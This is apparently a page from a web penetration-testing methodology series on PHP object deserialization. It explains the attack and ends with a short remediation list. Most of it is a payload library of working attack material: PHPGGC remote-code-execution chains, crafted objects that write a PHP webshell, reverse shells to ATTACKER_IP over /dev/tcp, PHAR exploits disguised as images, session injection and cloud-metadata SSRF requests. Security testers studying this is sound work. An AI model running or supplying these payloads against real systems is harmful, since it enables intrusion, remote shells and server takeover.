PHP Object Deserialization
Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures
What Is PHP Deserialization?
PHP’s unserialize() converts a serialized string back into a PHP object. If attacker-controlled data reaches unserialize(), the attacker can instantiate arbitrary classes. PHP automatically calls magic methods on deserialized objects:
__wakeup() → called on unserialize
__destruct() → called when object is garbage collected
__toString() → called when object used as string
__call() → called when invoking inaccessible method
__get() → called when reading inaccessible property
__set() → called when writing inaccessible property
__invoke() → called when object used as function
A POP chain (Property-Oriented Programming) links multiple classes whose magic methods call each other, ultimately reaching a dangerous sink (file write, shell exec, SQL query, etc.).
unserialize(attacker_data)
→ __wakeup() / __destruct() of class A
→ __toString() of class B
→ __call() / __get() of class C
→ system() / file_put_contents() / eval()
Discovery Checklist
- Find
unserialize()calls — source code review or grep - Find serialized strings in: cookies, hidden form fields, GET/POST params, HTTP headers
- Identify serialized strings:
O:(object),a:(array),s:(string),b:(bool),i:(int),N;(null) - Base64-encoded cookies starting with
Tzo(base64 ofO:) - PHAR deserialization triggers (file operations on attacker-controlled paths)
- Check installed libraries for PHPGGC gadget availability
- Test
__wakeup()bypass with mangled object count - Test
__destruct()via garbage collection afterunserialize() - Look for
unserialize()in: session handlers, cache layers, API endpoints, custom auth cookies
PHP Serialization Format
// PHP serialization syntax:
// b:0; boolean false
// b:1; boolean true
// i:42; integer 42
// d:3.14; float 3.14
// s:5:"hello"; string of length 5
// N; null
// a:2:{i:0;s:3:"foo";i:1;s:3:"bar";} array of 2 elements
// O:8:"stdClass":1:{s:4:"name";s:5:"Alice";}
// ^ class name len ^ class ^ prop count ^ property
// Object with private/protected properties:
// Protected: s:4:"\0*\0prop"; (null + * + null + propname)
// Private: s:13:"\0ClassName\0prop"; (null + classname + null + propname)
Payload Library
Payload 1 — Manual Serialization: Modify Existing Object
// Original legitimate serialized cookie (base64 decoded):
O:4:"User":2:{s:8:"username";s:5:"guest";s:5:"admin";b:0;}
// Modified: set admin=true
O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"admin";b:1;}
// Modified: change username to admin string
O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"admin";b:1;}
// Base64 re-encode for cookie:
echo -n 'O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"admin";b:1;}' | base64
Payload 2 — __wakeup() Bypass
PHP < 5.6.25 / PHP < 7.0.10: __wakeup() not called if declared property count > actual count.
// Normal:
O:8:"UserPref":1:{s:4:"data";s:4:"test";}
// Bypass __wakeup() — declare 2 properties but only define 1:
O:8:"UserPref":2:{s:4:"data";s:4:"test";}
^--- lie about count
Payload 3 — Simple POP Chain Example
// If target codebase has something like:
class Logger {
public $logfile = '/var/log/app.log';
public $data;
public function __destruct() {
file_put_contents($this->logfile, $this->data);
}
}
// Craft payload to write PHP webshell:
$payload = new Logger();
$payload->logfile = '/var/www/html/shell.php';
$payload->data = '<?php system($_GET["cmd"]); ?>';
echo serialize($payload);
// O:6:"Logger":2:{s:7:"logfile";s:24:"/var/www/html/shell.php";s:4:"data";s:29:"<?php system($_GET["cmd"]); ?>";}
Payload 4 — PHPGGC Generated Chains
PHPGGC is the PHP version of ysoserial — pre-built POP chains for common frameworks.
# Install PHPGGC:
git clone https://github.com/ambionics/phpggc
cd phpggc
# List all available gadget chains:
./phpggc -l
# List chains for specific framework:
./phpggc -l Laravel
./phpggc -l Symfony
./phpggc -l WordPress
./phpggc -l Guzzle
./phpggc -l Monolog
./phpggc -l Slim
./phpggc -l Yii
./phpggc -l CodeIgniter4
./phpggc -l Laminas
./phpggc -l Drupal
# Generate RCE payload (Laravel, file write via queue):
./phpggc Laravel/RCE1 system 'id > /tmp/pwned'
./phpggc Laravel/RCE2 system 'id'
./phpggc Laravel/RCE3 exec 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Generate Symfony RCE:
./phpggc Symfony/RCE3 exec 'id'
./phpggc Symfony/RCE4 system 'whoami'
# File write chains:
./phpggc Monolog/RCE1 system 'id'
./phpggc Guzzle/FW1 write /var/www/html/shell.php '<?php system($_GET[0]);?>'
# Base64-encode output (for cookies/headers):
./phpggc Laravel/RCE1 system 'id' -b
./phpggc Laravel/RCE1 system 'id' --base64
# URL-encode output:
./phpggc Laravel/RCE1 system 'id' -u
# Wrap in JSON (for JSON APIs):
./phpggc Laravel/RCE1 system 'id' -j
# Generate and test with curl:
PAYLOAD=$(./phpggc Laravel/RCE1 system 'id' -b)
curl -s -b "laravel_session=$PAYLOAD" https://target.com/dashboard
# With PHAR wrapper (use as path instead of direct unserialize):
./phpggc Laravel/RCE1 system 'id' --phar phar -o /tmp/exploit.phar
Payload 5 — WordPress-Specific Chains
# WordPress gadget chains via PHPGGC:
./phpggc -l WordPress
# WordPress/RCE1 — Yoast SEO plugin gadget:
./phpggc WordPress/RCE1 exec 'id'
# WordPress/RCE2 — Dompdf:
./phpggc WordPress/RCE2 system 'id'
# Common WordPress deserialization sinks:
# - Plugins using unserialize() in shortcodes
# - Option values stored/retrieved via get_option()
# - Transients: get_transient(), set_transient()
# - User meta: get_user_meta()
# - Theme customizer preview
# - AJAX handlers with unserialize() on POST data
Payload 6 — PHAR Deserialization (File Operation Trigger)
PHAR archives have serialized metadata that is deserialized when any file operation touches the archive — even file_exists(), is_readable(), stat(), etc.
# Create malicious PHAR:
php -r "
\$phar = new Phar('exploit.phar');
\$phar->startBuffering();
\$phar->addFromString('test.txt', 'test');
\$phar->setStub('<?php __HALT_COMPILER(); ?>');
// Embed malicious serialized object:
class Logger {
public \$logfile = '/var/www/html/shell.php';
public \$data = '<?php system(\$_GET[\"cmd\"]); ?>';
public function __destruct() {
file_put_contents(\$this->logfile, \$this->data);
}
}
\$obj = new Logger();
\$phar->setMetadata(\$obj);
\$phar->stopBuffering();
"
# Trigger via PHAR wrapper — any file function works:
# If target does: file_exists(\$_GET['path'])
# Send: ?path=phar:///uploads/exploit.phar/test.txt
# Common trigger points:
# - Image processing (imagecreatefrompng, getimagesize)
# - File inclusion guards (file_exists, is_file)
# - XML parsing (simplexml_load_file)
# - ZIP manipulation (ZipArchive::open)
# - Any function that accepts a filename
# Rename PHAR to bypass upload filters:
mv exploit.phar exploit.jpg # disguise as image
mv exploit.phar exploit.gif
mv exploit.phar exploit.zip
Payload 7 — __toString() Chain via Type Juggling
// Classes that use objects as strings:
class QueryBuilder {
public $table;
public function __toString() {
return "SELECT * FROM " . $this->table; // $this->table used as string
}
}
class Shell {
public $cmd = "id";
public function __toString() {
return system($this->cmd); // RCE via toString
}
}
// Craft payload:
$s = new Shell();
$s->cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1";
echo serialize($s);
Payload 8 — Session-Based Deserialization
# PHP session files are serialized — if you can write to session file:
# Session format depends on session.serialize_handler:
# php_serialize (newer):
# a:1:{s:4:"data";O:4:"User":1:{s:4:"name";s:5:"admin";}}
# php (default):
# data|O:4:"User":1:{s:4:"name";s:5:"admin";}
# php_binary (legacy):
# [binary length byte]dataO:4:"User":1:{...}
# Inject via session handler mismatch:
# If app writes session as php_serialize but reads as php:
# Set cookie: PHPSESSID=<crafted>
# Content: |O:8:"Exploitable":0:{}
# The pipe "|" becomes a key separator in php handler
# Session upload progress injection (race condition):
curl -X POST https://target.com/upload \
-F "PHP_SESSION_UPLOAD_PROGRESS=|O:8:\"MyClass\":0:{}" \
-F "file=@test.txt" \
--cookie "PHPSESSID=known_session_id"
Payload 9 — Blind Detection Payloads
// Time-delay detection (sleep in destruct):
// Craft object with sleep(5) to confirm deserialization:
class TimeDelay {
public $seconds = 5;
public function __destruct() {
sleep($this->seconds);
}
}
// DNS OOB detection — use interactsh/Burp Collaborator:
// Use PHPGGC chain that triggers DNS:
./phpggc -l | grep -i dns
./phpggc Monolog/RCE1 system 'nslookup COLLABORATOR_ID.oast.pro'
./phpggc Guzzle/SSRF1 https://COLLABORATOR_ID.oast.pro/test
// If app uses Guzzle HTTP client internally:
./phpggc Guzzle/SSRF1 http://169.254.169.254/
Tools
# PHPGGC — PHP gadget chain generator:
git clone https://github.com/ambionics/phpggc
./phpggc -l # list all chains
./phpggc <Gadget/Chain> <function> <argument> # generate payload
./phpggc Laravel/RCE1 system 'id' -b # base64 output
# php-unserialize-cli — decode/inspect serialized data:
php -r "print_r(unserialize(base64_decode('PAYLOAD')));"
# Burp Suite extensions:
# - Java Deserialization Scanner (also covers PHP patterns)
# - Freddy Deserialization Bug Finder
# phpggc with encoder chain:
./phpggc Laravel/RCE1 system 'id' -e base64 # base64 encode
./phpggc Laravel/RCE1 system 'id' -e url # URL encode
./phpggc Laravel/RCE1 system 'id' -e json # JSON encode
# Grep target source for dangerous sinks:
grep -rn "unserialize(" /var/www/html/ --include="*.php"
grep -rn "unserialize(\$_" /var/www/html/ --include="*.php" # user input
grep -rn "unserialize(base64_decode" /var/www/html/ --include="*.php"
# Identify serialized data in traffic (Burp):
# Search for: O:\d+:" in responses/cookies
# Search for base64 patterns starting with: Tzo (= O:)
# PHAR test:
php -r "echo serialize(new stdClass());"
# Create unsigned PHAR (requires phar.readonly=0):
php -d phar.readonly=0 create_exploit.php
Remediation Reference
- Never pass user input to
unserialize()— use JSON (json_decode) instead - If unavoidable: use HMAC-signed serialized data (verify signature before deserializing)
- Disable PHAR wrapper:
stream_wrapper_unregister('phar')at boot - Update PHP:
__wakeup()bypass fixed in PHP 7.4+ - Allowlist classes: use
unserialize($data, ['allowed_classes' => ['SafeClass']])(PHP 7+) - Disable dangerous functions:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen - Apply defense-in-depth: separate web user from filesystem write permissions
Part of the Web Application Penetration Testing Methodology series.